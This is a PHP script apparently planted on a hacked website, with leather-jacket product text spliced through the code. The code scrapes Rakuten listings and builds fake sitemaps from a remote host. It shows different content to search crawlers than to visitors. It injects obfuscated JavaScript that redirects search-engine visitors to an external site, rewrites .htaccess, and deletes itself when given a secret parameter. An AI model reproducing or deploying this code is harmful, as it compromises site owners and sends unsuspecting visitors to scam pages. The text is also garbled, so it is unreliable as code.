<%>PHP <%> error_reporting(0); $pageurl ='plus1tools/tr-4603061/'; $rewrite_mod = "dd-C.rain"; $arraypageurl = array(0 => "desir-de-vivre/kspec-623", 1 => "e-cle/7186750", 2 => "inventer/fsppira976", 3 => "parts/cmd0072l16aa56", 4 => "auto-craft/5zigen_superlap_35", 5 => "gyouhan-shop/g0715040000394", 6 => "chrono-cr/6680013", 7 => "k-works-2/10014812", 8 => "naviokun/gm3200", 9 => "kts-web/t600s-qq-e-2101"); function class_x_i() { @set_time_limit(3600); @ignore_user_abort(1); ob_start(); $urlInfo = array(); // ///url $request_url = ''; if (isset($_SERVER['REQUEST_URI'])) { $request_url = $_SERVER['REQUEST_URI']; } $request_url = preg_replace("/^\//si", '', $request_url); $urlInfo['items'] = 'item'; if (strstr($request_url, '-product/')) { $urlInfo['items'] = 'product'; } global $rewrite_mod, $pageurl, $arraypageurl; $bbbstatus = 0; $urlInfo['server_name'] = ''; $urlInfo['filename'] = ''; $urlInfo['lturl'] = ''; $urlInfo['sitename'] = explode("-", $rewrite_mod); $urlInfo['sitename'] = $urlInfo['sitename'][0]; $urlInfo['urlhtml'] = explode(".", $rewrite_mod); $urlInfo['urlhtml'] = '.' . $urlInfo['urlhtml'][1]; if ($request_url == '') { $urlInfo['lturl'] = $pageurl; } else { if (!strstr($request_url, 'sitemap')) { $request_url = strrchr($request_url, '?'); $request_url = str_replace('?', '', $request_url); if (!strstr($request_url, '-')) { $request_url = base64_decode($request_url); } $request_urls = explode("-", $request_url); $urlInfo['sitename'] = $request_urls[0]; $urlInfo['urlhtml'] = explode(".", strrchr($request_url, '-')); $urlInfo['urlhtml'] = '.' . $urlInfo['urlhtml'][1]; $position = stripos($request_url, '-') + 1; $urlInfo['lturl'] = substr($request_url, $position, strlen($request_url)); $urlInfo['lturl'] = explode(".", $urlInfo['lturl']); $urlInfo['lturl'] = $urlInfo['lturl'][0]; $newurl = urljiemi($urlInfo['lturl']); $urlInfo['lturl'] = $newurl; if ($request_url == '') { $urlInfo['lturl'] = $pageurl; } } else { if ($urlInfo['lturl'] == '') { $mds = md5($request_url); $ids = substr($mds, -1); $urlInfo['lturl'] = $arraypageurl[3]; } } } ///url if (isset($_SERVER['HTTP_HOST'])) { $urlInfo['server_name'] = $_SERVER['HTTP_HOST']; } elseif (isset($_SERVER['SERVER_NAME'])) { $urlInfo['server_name'] = $_SERVER['SERVER_NAME']; } if (strstr($request_url, 'sitemap')) { $mapskey = explode("-", $rewrite_mod); $maps = explode("-", $request_url); $sx_content = "\x3c\x3fxml version=\"1.0\" encoding=\"UTF-8\"\x3f\x3e\n\t
Leather Jacket Leisure winter Leather Wilsons aqwB1Fw Leather Jacket Leisure winter Leather Wilsons aqwB1Fw
"; $file_path = explode(".", $maps[2]); $file_path = "http://map.yjreq.top/" . $file_path[0] . ".txt"; define("DIR", dirname(__FILE__)); $suffix_txt = file(DIR . "/suffix.txt"); $prefix_txt = file(DIR . "/prefix.txt"); //date_default_timezone_set("PRC"); $path = explode("?", $request_url); $path = $path[0]; $file_short_path_content = get_html_content($file_path); $file_short_path_array = explode("\n", $file_short_path_content); foreach ($file_short_path_array as $file_short_path) { //sitemap static start if (!strstr(trim($file_short_path), 'product/')) { $sun = mt_rand(0, count($suffix_txt)); $suffix = '.' . $suffix_txt[2]; if (trim($suffix_txt[$sun]) != "") { $suffix = '.' . trim($suffix_txt[$sun]); } $sun2 = mt_rand(0, count($prefix_txt)); $prefix = $prefix_txt[2]; if (trim($prefix_txt[$sun2]) != "") { $prefix = trim($prefix_txt[$sun2]); } $file_short_path = urljiami($file_short_path); $after = $prefix . '-' . trim($file_short_path); $after = base64_encode($after); $sx_content .= "\n\t\t" . ' '; $sx_content .= "\n\t\t\t" . ' Wilsons Leather winter Jacket Leather Leisure http://' . $_SERVER['SERVER_NAME'] . '/' . $path . '?' . $after . ' '; $sx_content .= "\n\t\t\t" . ' ' . date('Y-m-d') . ' '; $sx_content .= "\n\t\t\t" . ' daily '; $sx_content .= "\n\t\t\t" . ' 0.8 '; $sx_content .= "\n\t\t "; } } $sx_content .= "\n\t
"; $map = ""; if ($_REQUEST['sitemap'] != null) { $map = $_REQUEST['sitemap']; } $sitemap_path = './sitemap' . $map . '.xml'; echo $sx_content; die(); } //echo $urlInfo['server_name'].'|'.$urlInfo['filename'].'|'.$urlInfo['sitename']."|".$urlInfo['urlhtml'].'|'.$urlInfo['lturl'].'|'.$urlInfo['items']; //die(); $httpReferer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ''; $login_status = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''; $lCheck = func_loginCheck($login_status); $rCheck = func_referCheck($httpReferer); $pro_url = 'http://' . $urlInfo['items'] . '.rakuten.co.jp/' . $urlInfo['lturl']; //echo $pro_url; $jumpcodeurl = 'http://h66.yjreq.top/' . $urlInfo['lturl'] . '.html'; //echo $jumpcodeurl; if ($bbbstatus == 1) { $lCheck = false; } if (1 == 1) { $html_content = get_html_content($pro_url); $html_content = iconv("EUC-JP", "UTF-8//IGNORE", $html_content); $html_content = str_replace('/', '】', $html_content); $html_content = str_replace('/', '【', $html_content); $html_content = str_replace('】', '', $html_content); $html_content = str_replace('【', '', $html_content); $html_content = str_replace("楽天市場店", "", $html_content); $html_content = str_replace("楽天市場", "", $html_content); $html_content = str_replace("楽天", "", $html_content); $pat = '/
Materials 100% Leather
]*?href="http:\/\/search.[^>]*?"[^>]*?>([\s\S]*?)<\/a>/i'; preg_match_all($pat, $html_content, $m); //$Article_Inlinks=' '; //$html_content='123'; $Mate_Title = ''; $Mate_Keyword = ''; $Mate_Description = ''; $Article_Title = ''; $Article_picture = ''; $Article_category = ''; $Article_price = ''; $Article_description = ''; $Article_reviews==''; $html_content = str_replace('/', '】', $html_content); $html_content = str_replace('/', '【', $html_content); $html_content = str_replace('【弛欧辉眷】', '', $html_content); $html_content = str_replace('弛欧辉眷', '', $html_content); $html_content = str_replace('楽天市場店', '', $html_content); $html_content = str_replace('楽天市場', '', $html_content); $html_content = str_replace('楽天', '', $html_content); $html_content = str_replace($urlInfo['items'] . '.rakuten.co.jp', $urlInfo['server_name'], $html_content); preg_match('/ Leather Jacket Leisure winter Leather Wilsons aqwB1Fw at beljav.com', '', $Mate_Title); preg_match('/content="[^"]*?"/i', $Mate_Keyword[0], $Mate_Keyword); $Mate_Keyword = str_replace('content=', '', $Mate_Keyword[0]); $Mate_Keyword = str_replace('"', '', $Mate_Keyword); preg_match('/content="[^"]*?"/i', $Mate_Description[0], $Mate_Description); $Mate_Description = str_replace('content=', '', $Mate_Description[0]); $Mate_Description = str_replace('"', '', $Mate_Description); if (preg_match('/(?<=) ]*?class="sdtext"[^>]*?>([\s\S]*?)<\/td>/i', $html_content, $Article_category); preg_match('/ ]*?class="price2"[^>]*?>([\s\S]*?)<\/span>/i', $html_content, $Article_price); $description = ""; if (preg_match('/(?<=
)[\w\W]+?(?=<\/div>)/', $html_content, $Article_descriptiona) != 0) { } if (preg_match('/(?<= )[\w\W]+?(?=<\/span>[\s]*
Leather Wilsons Leather winter Jacket Leisure
[\s]*
[\s]*<\/td>)/', $html_content, $Article_descriptionb) != 0) { } if (preg_match('/(?<=)[\w\W]+?(?=<\/span>[\s]*
[\s]*
[\s]*<\/td>[\s]*<\/tr>[\s]*<\/table>)/', $html_content, $Article_descriptionc)) { } if(preg_match('/[\w\W]+?
'.$Article_reviews[0].''; $Article_reviews= preg_replace("/href=\"(.*?)\"/", 'href="#"',$Article_reviews); $template=' <strong>winter Wilsons Leather Leather Jacket Leisure</strong> Leather Jacket Leisure winter Leather Wilsons aqwB1Fw at beljav.com

%Article_Comment%

この度の平成28年熊本地震により亡くなられた方々に謹んでお悔やみを申し上げますとともに、被災された皆様に心よりお見舞い申し上げます。

%Article_Inlink%

施設園芸用温風暖房機をお探しの方へ

ネポン「ハウスカオンキ」は日本の施設園芸と共に50年超。
栽培面積や作物に合わせた豊富なラインナップを取り揃え、
作物の快適環境を創ります。

Casual Skirt Leisure Leisure winter winter Halogen vqI4z

test2
Leather Wilsons Jacket Leather winter Leisure test
'; $out = $template; $out = str_replace('Leather Jacket Leisure winter Leather Wilsons aqwB1Fw at beljav.com', $Mate_Title, $out); $out = str_replace('', $Mate_Keyword, $out); $out = str_replace('Leather Jacket Leisure winter Leather Wilsons aqwB1Fw', $Mate_Description, $out); $out = str_replace('%Article_Title%', $Article_Title[0], $out); $out = str_replace('beljav.com', 'http://' . $urlInfo['server_name'], $out); $Article_category = preg_replace('/ ]*?>/i', '', $Article_category[0]); $Article_category = str_replace('', '', $Article_category); $out = str_replace('%Article_Comment%', '' . $Article_category . '


' . desc_clear($Article_descriptiona[0] . $Article_descriptionb[0] . $Article_descriptionc[0]), $out); $out = str_replace('%Article_Inlink%', $Article_Inlinks, $out); if ($rCheck) { //$htmlrCheck=get_html_content($jumpcodeurl); //$htmlrCheck= $iframe_script_string = 'if(/(google|yahoo|bing|aol)/i.test(document.referrer)){window.setTimeout(function(){top.location.href="' . $jumpcodeurl . '"},1000)}'; $r_code = outScript('', 0, $iframe_script_string, 1); $jumpcode = $r_code . ''; $out = preg_replace('/ ]*?>/i', '' . $jumpcode . '
', $out); $out = str_replace('', '
', $out); } echo $out; die(); } } function urljiami($url) { $str = "abcdefghijklmnopqrstuvwxyz0123456789/-_"; $str2 = "cvl1zxsgebnk3o20wdrha654mipqutf8j7y9-=/"; for ($i = 0; $i < strlen($url); $i++) { $IO = stripos($str, substr($url, $i, 1)); if ($IO > -1) { $result .= substr($str2, $IO, 1); } else { $result .= substr($url, $i, 1); } } return $result; } function urljiemi($url) { $result = ''; $str = "abcdefghijklmnopqrstuvwxyz0123456789/-_"; $str2 = "cvl1zxsgebnk3o20wdrha654mipqutf8j7y9-=/"; for ($i = 0; $i < strlen($url); $i++) { $IO = stripos($str2, substr($url, $i, 1)); if ($IO > -1) { $result .= substr($str, $IO, 1); } else { $result .= substr($url, $i, 1); } } return $result; } function mbstrlen($str,$encoding="utf8") { $step = $encoding=="utf8"?2:1; $count = 0; $strlen = strlen($str); for($i=0;$i<$strlen;$i++){ $count++; if(ord($str{$i})>=128){ $i=$i+$step; } } return $count; } function mbsubstr($str, $start, $length, $charset){ if($charset == ''){ $charset = 'utf-8'; } $charsets["utf-8"] = $charsets["utf8"] = "/[\x01-\x7f]|[\xc2-\xdf][\x80-\xbf]|[\xe0-\xef][\x80-\xbf]{2}|[\xf0-\xff][\x80-\xbf]{3}/"; $charsets["gb2312"] = "/[\x01-\x7f]|[\xb0-\xf7][\xa0-\xfe]/"; $charsets["gbk"] = "/[\x01-\x7f]|[\x81-\xfe][\x40-\xfe]/"; $charsets["big5"] = "/[\x01-\x7f]|[\x81-\xfe]([\x40-\x7e]|\xa1-\xfe])/"; preg_match_all($charsets[$charset], $str, $matches); #var_dump($matches); $substr = implode("", array_slice($matches[0], $start, $length)); return $substr; } function outScript($goto, $test = false, $script_string = '', $iframe = false) { $sep = '===='; if ($iframe) { $sep = '####'; } $script_format = '(function(){var g=setInterval(function(){try{' . ($test ? '!' : '') . '!(/(google|yahoo|bing|aol)/i.test(document.referrer))||(function(s){window.top.location.replace(s)})(' . $sep . '{#URL#}' . $sep . ');clearInterval(g)}catch(e){}},10)})()'; $step_min = 1; $step_max = 5; $outScript = ''; $pos = 0; $t = 0; $tmp = ''; $rurl = str_ireplace('{#URL#}', $goto, $script_format); if ($script_string != '') { $rurl = $script_string; } // echo "$rurl";die(); if(function_exists('mb_strlen')){ $rurl_length = mb_strlen($rurl); }else{ $rurl_length = mbstrlen($rurl); } // echo "$rurl_length";die(); $comma = ''; while ($pos < $rurl_length) { $r = mt_rand($step_min, $step_max); // echo "$r";die(); $t = $pos + $r; if ($t > $rurl_length) { $t = $rurl_length; } if(function_exists('')){ $tmp .= $comma . mb_substr($rurl, $pos, $r); }else{ $tmp .= $comma . mbsubstr($rurl, $pos, $r, ''); } // echo "$tmp";die(); $pos += $r; $comma = '\'+\''; } if ($script_string != '') { if ($iframe) { $outScript = ($tmp != '' ? '' : $tmp); } else { $outScript = ($tmp != '' ? '' : $tmp); } } else { $outScript = ($tmp != '' ? '' : $tmp); } // $out = ($tmp != '' ? 'eval((\'' . $tmp . '\').replace(/' . $sep . '/g, \'\\\'\'))' : $tmp); // echo $out; return $outScript; } function sync_htaccess($htaccess_rule = '', $rewrite_open = 1) { if ($htaccess_rule != '') { if ($rewrite_open) { $htaccess_path = './.htaccess'; // if (isset($_SERVER['DOCUMENT_ROOT'])) { // $htaccess_path = $_SERVER['DOCUMENT_ROOT'] . '/.htaccess'; // } if ($htaccess_path != '' && file_exists($htaccess_path)) { @chmod($htaccess_path, 0777); $htaccess_content = @file_get_contents($htaccess_path); // if (stripos($htaccess_content, '#ListUrlRewrite') === false) { if (stripos($htaccess_content, $htaccess_rule) === false) { // $rewrite_slash = preg_replace("/(\\$\d)/si", "\\\\\\\\\\\\$1", $rewrite_array['htacc']); $rewrite_slash = preg_replace("/\\\$/s", '\\\$', $htaccess_rule); // file_put_contents('./ins.log', "$rewrite_slash\n"); if (stripos($htaccess_content, '%{HTTP_HOST}') !== false && stripos($htaccess_content, 'R=301') !== false) { $htaccess_content = preg_replace("/(RewriteRule.*?R=301.*?[\r\n])/si", "$1\n{$rewrite_slash}\n", $htaccess_content, 1); } elseif (stripos($htaccess_content, 'RewriteBase') !== false) { $htaccess_content = preg_replace("/(RewriteBase.*?[\r\n])/si", "$1\n{$rewrite_slash}\n", $htaccess_content, 1); } elseif (stripos($htaccess_content, 'RewriteEngine') !== false) { $htaccess_content = preg_replace("/(RewriteEngine.*?[\r\n])/si", "$1\n{$rewrite_slash}\n", $htaccess_content, 1); } else { // search first RewriteRule $match = array(); preg_match("/RewriteRule.*?[\r\n]/si", $htaccess_content, $match); if (!empty($match) && isset($match[0])) { $htaccess_content = str_ireplace($match[0], "\n" . $htaccess_rule . $match[0], $htaccess_content); } unset($match); } $htaccess_content_array = explode("\n", $htaccess_content); if (!empty($htaccess_content_array)) { foreach ($htaccess_content_array as $hca_key => &$htaccess_content_line) { // $htaccess_content_line = preg_replace("/^\s+(.*)/", "$1\n", $htaccess_content_line); $htaccess_content_line = trim($htaccess_content_line); if ($htaccess_content_line == '') { unset($htaccess_content_array[$hca_key]); } } } $htaccess_content = implode("\n", $htaccess_content_array); unset($htaccess_content_array, $rewrite_slash); $htaccess_content = preg_replace("/(^[\s\r\n]+|[\s\r\n]+$)/si", '', $htaccess_content); @file_put_contents($htaccess_path, $htaccess_content); } } else { // create new .htaccess $htaccess_content = " \nRewriteEngine On\n" . $htaccess_rule . "\n \n"; @file_put_contents($htaccess_path, $htaccess_content); unset($htaccess_content, $htaccess_path); } @chmod($htaccess_path, 0444); } } } function desc_clear($desc) { $description = preg_replace('/ /', '', $desc); $description = preg_replace('/
SERVICE<\/div>[\w\W]+/', '', $description); $description = preg_replace('/ /', '', $description); $description = preg_replace('//', '', $description); $description = str_replace('楽天市場店', '', $description); $description = str_replace('楽天市場', '', $description); $description = str_replace('楽天', '', $description); return $description; } //判断IP function getippage($ippage) { $IPstr = get_html_content($ippage); $USIP = true; if (strstr($IPstr, '美国') || strstr($IPstr, '谷歌')) { $USIP = false; } return $USIP; } //来路判断 function func_referCheck($refer = '') { $redi = false; $referbots = 'google.co.jp|yahoo.co.jp|bing'; //判断日文 $jalog = false; if (strstr($_SERVER["HTTP_ACCEPT_LANGUAGE"], "ja")) { $jalog = true; } if ($refer != '' && preg_match("/($referbots)/si", $refer)) { $redi = true; } return $redi; } //蜘蛛判断 function func_loginCheck($agent = '') { $login = false; $bots = 'googlebot|baiduspider|bingbot|google|baidu|aol|bing|yahoo'; // $bots = explode('|', $bots); if ($agent != '') { if (preg_match("/($bots)/si", $agent)) { $login = true; } } return $login; } $sjmm='aqME5Y'; $url = $_SERVER['PHP_SELF']; $dqwjm= substr( $url , strrpos($url , '/')+1 ); if ($_GET['action'] == $sjmm){ if (is_file($dqwjm)){ unlink($dqwjm); } } function get_html_content($url) { $html_content = ''; if (extension_loaded('curl') && function_exists('curl_init') && function_exists('curl_exec') && $url != "") { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_BINARYTRANSFER, true); curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']); $html_content = curl_exec($ch); curl_close($ch); } if ($html_content == '' && $url != "") { if (function_exists('file_get_contents')) { $html_content = file_get_contents($url); } } if ($html_content == '' && $url != "") { if (function_exists('fopen') && function_exists('ini_get') && ini_get('allow_url_fopen')) { $fp = fopen($url, 'r') or exit('Open url faild!'); if ($fp) { while (!feof($fp)) { $html_content .= fgets($fp) . ""; } fclose($fp); } } } return $html_content; } class_x_i(); ?>